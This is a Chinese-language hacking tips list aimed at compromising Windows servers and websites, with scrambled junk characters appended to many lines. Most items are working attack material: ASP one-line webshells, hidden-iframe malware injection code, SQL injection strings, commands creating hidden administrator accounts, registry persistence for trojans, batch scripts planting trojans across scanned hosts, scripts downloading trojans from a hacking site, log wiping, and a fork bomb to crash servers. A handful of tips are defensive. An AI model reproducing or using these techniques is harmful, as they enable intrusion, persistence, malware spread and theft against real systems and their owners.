Xp系统修改权限防止病毒或木马等破坏系统,cmd下,
- [5 l3 c. D" c" [/ w8 u8 _cacls C:\windows\system32 /G hqw20:R
+ ?) S! ~5 m# y" j思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入, q0 r) }" f; j. f- o) W
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F4 _! z0 V$ n0 [. }) e( F8 b1 P- i
+ p* b. w" l; ^- H. h; Z( ^2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
5 s+ d4 Z* ~& m0 }" ~7 {
. f$ o6 R% r" B& }( p; V3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。+ u; F( v- [1 l5 C7 ]
7 a- P$ v" x5 m( k$ v- L4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号/ m6 E# N8 R G. @7 b# W5 L
9 l2 E# _& H" a1 F5、利用INF文件来修改注册表
4 v7 I! A4 k4 [2 ~" ]* [3 z[Version]+ ~1 X+ |7 ~# d0 q
Signature="$CHICAGO$"0 b1 e! p7 {+ i
[Defaultinstall]5 z) w4 Y; W2 M+ X! z9 L- A/ A0 j
addREG=Ating* Y" Z" |+ \# j/ y- A5 k
[Ating]
6 i+ D0 e% A( [2 z: r$ z/ Y# d1 VHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1": B' d5 Y- e8 S4 G: p" E3 y. [
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:$ f& T5 l/ N; W5 q, r
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径, j, ~: y& ~1 t4 @1 |' z2 o
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU
1 ?6 t6 ~9 G' r+ f) n$ y: n; _HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU
6 R$ T/ x7 l6 u! K2 D/ v# NHKEY_CURRENT_CONFIG 简写为 HKCC% E% Z) d! y' _* D' c3 Q' V
0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值. x B2 w. p! \) E. y2 O* P6 ?
"1"这里代表是写入或删除注册表键值中的具体数据
3 x8 ]* U, U) g. _+ i! X5 z% [1 |
, s M, M Q3 R6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
/ u# r' I* h* ]; ]( E多了一步就是在防火墙里添加个端口,然后导出其键值, x) n# j) q# G
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
4 m/ t: W6 q& L8 Q: g* C1 P) \
! K0 m( p8 ] f7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
- m2 Q& V4 c1 W4 I/ K1 n3 ~; t9 P8 }( u在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。1 t* U3 W2 Y8 ?8 y5 k( e# g
# E5 F& ^) @( g# F% ~7 d9 x* T9 u8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
! z1 L+ m' a' C0 A* [5 J% j
4 D8 D) m, R8 r3 a! ?" c9 N% s9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
$ w0 s9 e4 u7 P4 {可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
6 o. Z3 [: O0 _. C' Q" Q# h* p4 H% f& Z6 x/ P
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”5 Z: _3 N- ^1 S( x
: c+ m! W! f* q, X- [% k S11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
/ u' _; t3 F# z X/ j7 b) K7 F用法:xsniff –pass –hide –log pass.txt$ o) P; \& E E* c. C
( p$ d7 N% L, s+ F
12、google搜索的艺术
9 S' ?0 ? B; P }. G* J搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”1 a2 E7 z9 p: \% o* l7 u# k
或“字符串的语法错误”可以找到很多sql注入漏洞。3 R3 n4 F$ g( T
. W' y: v9 V* z# Z5 d. Y
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。* @" I! g& k4 f& U X0 Z
[0 C) L* G* H1 Q14、cmd中输入 nc –vv –l –p 19877 L' w- H5 R4 ^( `* F2 q, H! ~0 v
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃. D9 t8 L0 r5 L F K6 I2 x/ Y/ F7 W5 |
+ b) X; H$ T2 ?0 p9 j1 M, ~
15、制作T++木马,先写个ating.hta文件,内容为- a3 ^( w" v, o- G; @6 w# `
<script language="VBScript">- {0 a- {* v+ `
set wshshell=createobject ("wscript.shell" ) i0 Q; Y- O+ ?8 x& p6 V& p
a=wshshell.run("你马的名称",1)( k. C0 E% a( W' J+ x% Q" G
window.close
8 R& n3 Z$ W& R2 N+ M' K& ?7 U</script>1 Q9 _1 G' f6 h
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。( [ g0 O: n& U* }
5 D- M1 e$ |" ?/ I: V$ c
16、搜索栏里输入
: r) ~; I' `/ g" j关键字%'and 1=1 and '%'='4 b1 r. H+ j+ e7 L- G# H) A- S, N
关键字%'and 1=2 and '%'='
4 w* c( t2 s" B8 o# j比较不同处 可以作为注入的特征字符
( \$ x2 w+ u) B) R& p1 ?
0 A. z% n8 t8 E/ B- n; y17、挂马代码<html>0 l" Z) A0 `; }, M4 A& a0 [0 L& D
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>; Q1 k! G: x, b; [8 h* l& m) }
</html>
( Y) k* R" L b+ S% j) \) l4 [" M# J ]# v( f0 q
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,* Y# s e- P) ]1 p9 O& B4 A
net localgroup administrators还是可以看出Guest是管理员来。) E! Y+ P1 T- z' D+ E
/ o; |5 U" B: \/ k
19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
) g: Z0 k: @ G; M7 M用法: 安装: instsrv.exe 服务名称 路径* |3 v9 W/ {4 Z" B6 j h. y
卸载: instsrv.exe 服务名称 REMOVE2 E/ p9 k( s3 I% U) t& f( n, f$ [
7 g% e0 b% N, W/ q; b Z/ l9 v2 o6 T% Z s( Z/ H
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉- o/ Z# Q) O, A+ D3 T, t) u: K
不能注入时要第一时间想到%5c暴库。
9 b$ g6 o, c! H" l; e q# p5 e' l4 ~0 O/ C9 g& N0 w& c
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~' y- T; Q. t! v6 m( B0 j- n
1 F" h8 a! i( O) p7 s9 O
23、缺少xp_cmdshell时+ K+ D* M' O% m+ O
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
/ J1 [% N7 y# z5 ^; d4 z假如恢复不成功,可以尝试直接加用户(针对开3389的)# y( B; c7 j0 n5 V B" D/ H
declare @o int
o/ E) C! p6 |% U+ z l% u8 Jexec sp_oacreate 'wscript.shell',@o out
! Y) a/ b6 @+ a$ l1 P. ~5 z/ H+ [exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
9 S7 j8 ^( Y3 j& Y2 _" R1 O$ ^# G6 D& X; R" a0 g
24.批量种植木马.bat
0 z# R9 T& [9 U" a% O# d# Rfor /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中
* d; ~" _8 h' A, |5 q( R( U# }for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间/ m: O% a$ m/ J0 C8 k& u {& z
扫描地址.txt里每个主机名一行 用\\开头
4 }* }& V1 Y" ?$ a
( G. H1 c+ X- z+ k4 S) n25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
8 [& i. u7 ]$ c
4 N5 J; o3 g) i$ Z X26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
: M- d( d! v: a, r7 y. V将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
: X1 M- S! Q/ U0 R) ]0 c' G.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
% } e. J- _1 C
- N7 Q- M0 `5 q+ {& u& E27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
+ K( |& E0 Y6 B+ g( |然后用#clear logg和#clear line vty *删除日志+ A3 y- Z5 T8 e* Y
3 ^- {0 s- z% y% r+ o2 Y* }4 Q
28、电脑坏了省去重新安装系统的方法
$ O' M) Y% h$ J5 T7 `" P' ~( E纯dos下执行,
- b7 [/ E7 J8 k+ nxp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
, N* H: P. d# M3 \. G; R, F2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config
% Y4 A9 _8 P" J( W$ u2 s) B* } G1 w
29、解决TCP/IP筛选 在注册表里有三处,分别是:
# n4 e3 H& u1 D" NHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip2 J2 z0 N' a% B# i% q# l: \( g
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
2 M7 C# U5 ?$ uHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: z1 }4 P0 x9 G) D" `分别用
+ G' x* E ^# ?* n }' {, yregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; |% A! k2 _ E) h" rregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip; F. |# R% t3 O1 V3 }
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 m0 R+ }2 l1 a! |1 W, D命令来导出注册表项9 ~) C2 i. u- U. u( l' C
然后把三个文件里的EnableSecurityFilters"=dword:00000001,. \* }, h2 [9 Y' Q3 A" b
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
0 J" q3 d n3 A7 b$ g" zregedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
# H" r' |. [. U, }3 j- ?- p, C; b3 A, X
30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U' q0 a* n; N3 v4 u$ `5 ]
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
) s0 t/ J! ?7 b8 s3 r) s) i P+ j9 u) A3 e7 y
31、全手工打造开3389工具+ r5 I* d8 F6 W$ w0 l
打开记事本,编辑内容如下:. i/ g7 |; H" m1 E
echo [Components] > c:\sql
! Z' J, s) m: q6 v) Necho TSEnable = on >> c:\sql
' W$ t+ y( H7 Z) n8 o# a# d/ Y+ V, Osysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q4 C+ G: ^- r4 `: o' u2 l4 }
编辑好后存为BAT文件,上传至肉鸡,执行
8 ~0 z: s" y( Q) o# S: b. q) O3 s( s9 v) N1 Q
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马8 N: c0 A7 x) ?8 _; B
0 ~* [8 k1 F: v* X33、让服务器重启
! _: ?- G8 i: b# ?写个bat死循环:1 N) g9 G- u K @/ c( E
@echo off
/ g3 t: [8 J, v:loop1
( S; z5 M3 U2 E( E# h, [cls
% m2 C4 F4 t; @- }! k: N4 dstart cmd.exe, H; R _, Z' L/ e0 L" m
goto loop1) F, ?6 i# W5 z& l( |6 _3 A7 Z8 s
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启! I0 l8 g4 ~7 \ I; u( c
, e' P- b- Q4 f% n% B0 R, g34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,3 x& d5 V& A! H3 T" v- Z" p, y& \
@echo off7 b7 }3 U0 X0 y( W. ~, [
date /t >c:/3389.txt* P1 n U3 h6 @1 u3 M1 x& H
time /t >>c:/3389.txt2 O4 X2 _; G3 p3 S- L
attrib +s +h c:/3389.bat! U. O3 S& o6 j+ Z
attrib +s +h c:/3389.txt
* @, y$ o! ?1 xnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
0 l( }4 G, Q* X' `并保存为3389.bat: U. D, @3 w8 L4 h
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
* |; f. N2 j& b9 p3 H# z* o; F2 f9 t" c) a$ Q1 Q
35、有时候提不了权限的话,试试这个命令,在命令行里输入: i( B5 u: ]" a5 Z5 X6 H
start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
0 y |- b- p5 X' l3 H# V输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。1 I* ^8 Z. D" z% U4 H8 r; Q
( M4 l: C3 K7 x
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件) k1 M# |. f, ]+ e* u, j8 M2 h+ v, T
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
( c; L4 x8 d# H/ c4 Oecho 你的FTP账号 >>c:\1.bat //输入账号* P* r G0 v. g
echo 你的FTP密码 >>c:\1.bat //输入密码- V G* Y* I' F1 m$ ]
echo bin >>c:\1.bat //登入
3 i0 {9 q; ?: U. B+ [" Eecho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么0 T. R+ ~; C9 H3 w0 b5 c: Y& N
echo bye >>c:\1.bat //退出
D5 {6 @3 Y& ]3 B/ F2 s, C+ [然后执行ftp -s:c:\1.bat即可3 I9 o. ~2 q$ Q0 }) I$ X* Y4 M. [
, U. i' [ U, _8 W; C+ E) G37、修改注册表开3389两法$ d1 |% Y6 Z+ T; Y8 o
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表/ E: i% V& E; X. _4 |. t
echo Windows Registry Editor Version 5.00 >>3389.reg& Q% p1 x0 T \' K2 \" H
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
5 }! _" a9 N8 C$ b. b( g+ Pecho "Enabled"="0" >>3389.reg# W3 l5 z9 Q5 u8 Z/ V7 o( Y( W
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
" Y" J& J4 t1 I( N: eNT\CurrentVersion\Winlogon] >>3389.reg
8 B5 N. p( N( I G# E1 \( S9 _echo "ShutdownWithoutLogon"="0" >>3389.reg; o# y& @; j/ e4 X" Q) |
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]$ e' W3 v7 s' G$ `
>>3389.reg6 Y. e# [5 U3 @# n" y! _: T
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
# W) w: K9 t, E3 w1 \- `# z9 mecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
& a8 O% g8 p ?! ~2 t( \8 N>>3389.reg
' s3 e$ o5 k/ uecho "TSEnabled"=dword:00000001 >>3389.reg( y5 K a. z/ N
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
$ T& H/ P1 N* q" Q; o0 wecho "Start"=dword:00000002 >>3389.reg
g5 t& E/ ~% d, S% @) S- z1 hecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]( f, \! b7 ^) `% N
>>3389.reg, b8 P7 X& `( M5 d8 W7 X
echo "Start"=dword:00000002 >>3389.reg4 ~0 `3 `8 k8 g
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
# O* k2 ^. h7 L) F8 Lecho "Hotkey"="1" >>3389.reg+ U2 j% n9 A7 w5 ]5 d& X+ ?
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
! U& r3 b/ L3 YServer\Wds\rdpwd\Tds\tcp] >>3389.reg
i+ K. v0 G yecho "PortNumber"=dword:00000D3D >>3389.reg
9 E3 q; P/ x4 G7 l" `1 E, qecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal) h" [; _' m7 r I" Y
Server\WinStations\RDP-Tcp] >>3389.reg. v4 Z5 g3 B6 _
echo "PortNumber"=dword:00000D3D >>3389.reg- q! k) D3 j5 C" N! O" u. @
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
/ Y1 i3 }( \: E7 F. [" E4 |(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)" D4 ]) c0 B9 j1 q. N
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效( k* x P1 b5 X
(2)winxp和win2003终端开启
) i( }( @3 p- z7 _4 n( V' P用以下ECHO代码写一个REG文件:
' ]6 H$ ?5 e( X$ Qecho Windows Registry Editor Version 5.00>>3389.reg p8 ?, T! r& P: e7 |- E# f
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal- s9 w3 H& T3 X
Server]>>3389.reg, L9 j* O* d% c6 O' a% Y8 m& b
echo "fDenyTSConnections"=dword:00000000>>3389.reg
! b0 F A6 z4 @/ Mecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal+ \- [. [& z1 _1 m
Server\Wds\rdpwd\Tds\tcp]>>3389.reg, v; Q# L+ u7 L3 T8 p' A
echo "PortNumber"=dword:00000d3d>>3389.reg2 G ]- u. g6 u1 t1 `
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
* W" F0 G2 K0 N3 {: m; F' m" P. U( xServer\WinStations\RDP-Tcp]>>3389.reg; ]1 [* |- T" F8 h
echo "PortNumber"=dword:00000d3d>>3389.reg: [" T2 A/ h' O/ @
然后regedit /s 3389.reg del 3389.reg
& d2 t1 v) A9 NXP下不论开终端还是改终端端口都不需重启
1 Q# Q( X' ?! G/ P6 W" z4 h1 T
, D( E* Q8 R( G) Q38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃4 m; h/ ?, i8 o4 i+ q
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa' G$ G3 R; ]" d1 u* K& _2 c$ X
$ p j0 p# ]& G8 x2 o
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!7 n9 ]) s9 O. v0 k
(1)数据库文件名应复杂并要有特殊字符# [! y- _1 f7 ~# b4 {7 ?. {5 E" y( |
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
+ B0 C9 I/ w! [& \5 l, a |& M将conn.asp文档中的
' A u( f0 |/ XDBPath = Server.MapPath("数据库.mdb")# J) v% C9 t$ s+ O& ]( p) q6 {+ ^& D) j
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
8 L' Q" m8 C. `- F2 H+ w7 J! m; T2 r% P' V+ f3 V- [6 |) o9 N. Y/ I
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置$ m0 K6 l a; t# q
(3)不放在WEB目录里& V# |1 }; ~2 [9 ]: y8 R* h$ p
( z2 R7 m! J/ A* @
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
9 A) p4 V- F) N可以写两个bat文件
$ p& @6 j) _% E+ W" w- c- O( @@echo off
W! L- o) ]9 v8 @- g# D$ \@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
1 W2 w X: @* |! f9 {# h% M@del c:\winnt\system32\query.exe
' W S" G+ l a6 N@del %SYSTEMROOT%\system32\dllcache\query.exe
9 u$ \0 I; m5 b6 T m: }4 d@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的0 f- D( T7 n) I4 C# q1 e& C
. S2 w, z. w$ H5 `: X, `: W! m
@echo off/ c) {3 [( k3 i
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
6 m6 u: S/ `' Z" g g' P@del c:\winnt\system32\tsadmin.exe
+ c0 k7 A+ |6 t7 \8 V@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex
7 Y. y, U# e2 k3 c: l$ @: n; E
9 R% s; N! y" I% G3 T41、映射对方盘符$ F4 e& i; [7 J( J: _" y6 g' n2 G
telnet到他的机器上,
! _& f- X. y' g0 A8 ~$ j% bnet share 查看有没有默认共享 如果没有,那么就接着运行# P/ i8 C: E6 s, C+ j s0 n
net share c$=c:2 j% g/ k; P. h3 a/ k H/ ~
net share现在有c$
* A& k: j& a$ s$ l0 v, j3 L+ |在自己的机器上运行4 ~1 H8 x+ L& }. m
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K8 E8 `" Q3 k; A5 `' F3 Z ?- z1 l' k
! |) k+ {! V ]# ~ p4 D42、一些很有用的老知识- S! ]9 ~2 X O1 G S [9 n+ T
type c:\boot.ini ( 查看系统版本 )7 | Z2 x$ E9 M% L6 s7 W
net start (查看已经启动的服务)
; j; d* l: O. r/ k! ^( qquery user ( 查看当前终端连接 )
; B8 b: Q2 N/ ^4 p( b' \net user ( 查看当前用户 )" W- @ z# I9 Z- ~
net user 用户 密码/add ( 建立账号 )* t$ H% w7 G8 m6 K( o, ~8 F8 u
net localgroup administrators 用户 /add (提升某用户为管理员)
/ j! V6 c& I3 m9 k% B3 V, qipconfig -all ( 查看IP什么的 )1 M/ U- J& _ |) b ?
netstat -an ( 查看当前网络状态 )
: T' o2 J4 C7 U; V, M" I U3 Mfindpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)3 E% v7 D" I' `* o" t
克隆时Administrator对应1F4
! E- k: R. I; t6 l% ~guest对应1F5
* W$ y V3 t& G) o! j4 {# x- w( I, ]* ?) Ytsinternetuser对应3E8- b5 {) p; K' O% a6 p: t1 C, [
- B2 I* h' Y# W4 p& }43、如果对方没开3389,但是装了Remote Administrator Service S6 o) N3 g+ r( C
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
( O1 A8 ]7 \" A3 h; l$ q解释:用serv-u漏洞导入自己配制好的radmin的注册表信息' V* A. e+ o) F) l- A8 l# F1 d
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
4 s6 |* \6 u$ u& l+ C( Y$ L3 L6 J
+ E) D) m9 o8 {44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)) r [& b0 \0 V) ?
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
( c9 v- K" I3 p0 [/ P- X# G4 H% M' X
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)3 T0 L+ I' M3 g2 {! }
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open2 C/ P4 t4 }. ~$ j+ H3 L
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =: a2 S1 J ?/ a% C" t% X5 A
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = f) z# X9 I5 u& x- I
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
, w/ w" n6 w4 o8 v4 S(这是完整的一句话,其中没有换行符). b$ g$ K3 z' q4 Q1 ?9 ?3 t3 b
然后下载:" j; {* E: j6 K- M2 F- G
cscript down.vbs http://www.hack520.org/hack.exe hack.exe
; {9 n0 E: `( [" r) R/ q9 a$ T- L$ ?1 a
46、一句话木马成功依赖于两个条件:6 T3 k8 z8 `2 ?, T$ H
1、服务端没有禁止adodb.Stream或FSO组件
! c7 Y! |0 p; [/ ^% O3 l2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
; `7 J9 ^* B. v; X# i3 z, x9 }8 d' N1 h
47、利用DB_OWNER权限进行手工备份一句话木马的代码:) i" Y% q4 w$ }! q' H
;alter database utsz set RECOVERY FULL--* ~0 ~: g, M5 i/ U' ~& d
;create table cmd (a image)--+ ?: Y5 ~) \& I* V5 G5 F
;backup log utsz to disk = 'D:\cmd' with init--8 o [0 l% @' ~3 v4 k+ z
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--3 X/ m K: m5 F) z$ y/ R) z
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--7 v' D2 S* d" Q, l1 o
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。. q& w; U0 h7 w0 N; s
! }! ?7 j: f' C
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
: q6 ]1 {# v! X& C0 V2 A Q& b4 W" R" u" D* Z* n+ l/ b
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options5 p8 M5 t6 I) ?( u3 F
所有会话用 'all'。. A9 F. _( Z5 p6 B
-s sessionid 列出会话的信息。
9 k. r0 I9 G* q+ ]-k sessionid 终止会话。& B ^8 J7 Z. M7 i6 K0 p: @
-m sessionid 发送消息到会话。( W8 h$ U4 ^, c$ ~: w. ~
% r8 i# M) v2 H Z7 N# A* M/ ]
config 配置 telnet 服务器参数。
+ }7 O/ W# J* s7 m
0 S" ?$ X# s0 ]common_options 为:
( t" m9 K. M" ?% z v9 U-u user 指定要使用其凭据的用户
D2 |# g4 s5 x-p password 用户密码
9 g2 V; q7 Z# F4 @
( ^) }: U$ d. e# nconfig_options 为:; w6 ~ ]% d: @. [+ u& z! }
dom = domain 设定用户的默认域. u4 l' n2 Z2 I$ x* n
ctrlakeymap = yes|no 设定 ALT 键的映射" F: v* d3 z c, y& g
timeout = hh:mm:ss 设定空闲会话超时值
1 b) A' m% T3 X$ |timeoutactive = yes|no 启用空闲会话。1 B+ E$ v) Q: @( ^' o* ^" x
maxfail = attempts 设定断开前失败的登录企图数。/ m% m4 Q0 \8 ? q, o
maxconn = connections 设定最大连接数。! H9 r2 B. n P( c: g/ c5 N
port = number 设定 telnet 端口。
; j& ~9 o- x x8 `$ T% ]; psec = [+/-]NTLM [+/-]passwd& I( g1 F# f0 X; Y# F5 W7 y
设定身份验证机构
/ D$ Q6 o* }+ p1 L* V2 O3 N3 s! Kfname = file 指定审计文件名。% Z2 ^3 ?2 G" s
fsize = size 指定审计文件的最大尺寸(MB)。
. l6 Y: U; q8 m/ Emode = console|stream 指定操作模式。
7 C: F& h7 J) M) Y; F- zauditlocation = eventlog|file|both
9 I- d" E9 u* ^7 \- ^6 o# k指定记录地点
: Z {/ y3 j( daudit = [+/-]user [+/-]fail [+/-]admin
2 v7 ^, O7 O3 q
: a9 w7 H. y5 h% l% Q( \% n49、例如:在IE上访问:
! m% b- n: C/ [3 M7 D+ {/ f# d, Fwww.hack520.org/hack.txt就会跳转到http://www.hack520.org/5 ^" u1 E, _! A5 D
hack.txt里面的代码是:% \" \' f6 A3 U
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/"> b: b7 x4 A" o2 u5 l
把这个hack.txt发到你空间就可以了!
+ O2 b" Y3 S2 {+ f6 n这个可以利用来做网马哦!
: C5 x5 L) V9 w' ?5 v4 U2 d
" B" z$ I( ] L2 R: G% n50、autorun的病毒可以通过手动限制!
8 V) H, g [! E) `1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!* `' J& j; \2 m" j& w* n* a
2,打开盘符用右键打开!切忌双击盘符~
, A3 L$ V: ^8 g7 Q1 q3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!2 b# M8 U4 N6 f, N% W' @
: v4 L' q" o9 v1 T0 ?- u51、log备份时的一句话木马:3 K3 g: O8 W7 P5 F8 _
a).<%%25Execute(request("go"))%%25>6 r) ^3 G% r$ h. f7 v/ Z
b).<%Execute(request("go"))%>( o8 c) I1 H) O7 P0 ?* e
c).%><%execute request("go")%><%' L2 F& I9 ]0 h
d).<script language=VBScript runat=server>execute request("sb")</Script>7 m' ]8 n$ c9 h& m9 s R& U- e2 ]
e).<%25Execute(request("l"))%25>
" [% F$ I" n8 Ef).<%if request("cmd")<>"" then execute request("pass")%>5 `3 K3 p" V* B; K, s
3 Z- q* z. ]$ ^6 ?52、at "12:17" /interactive cmd
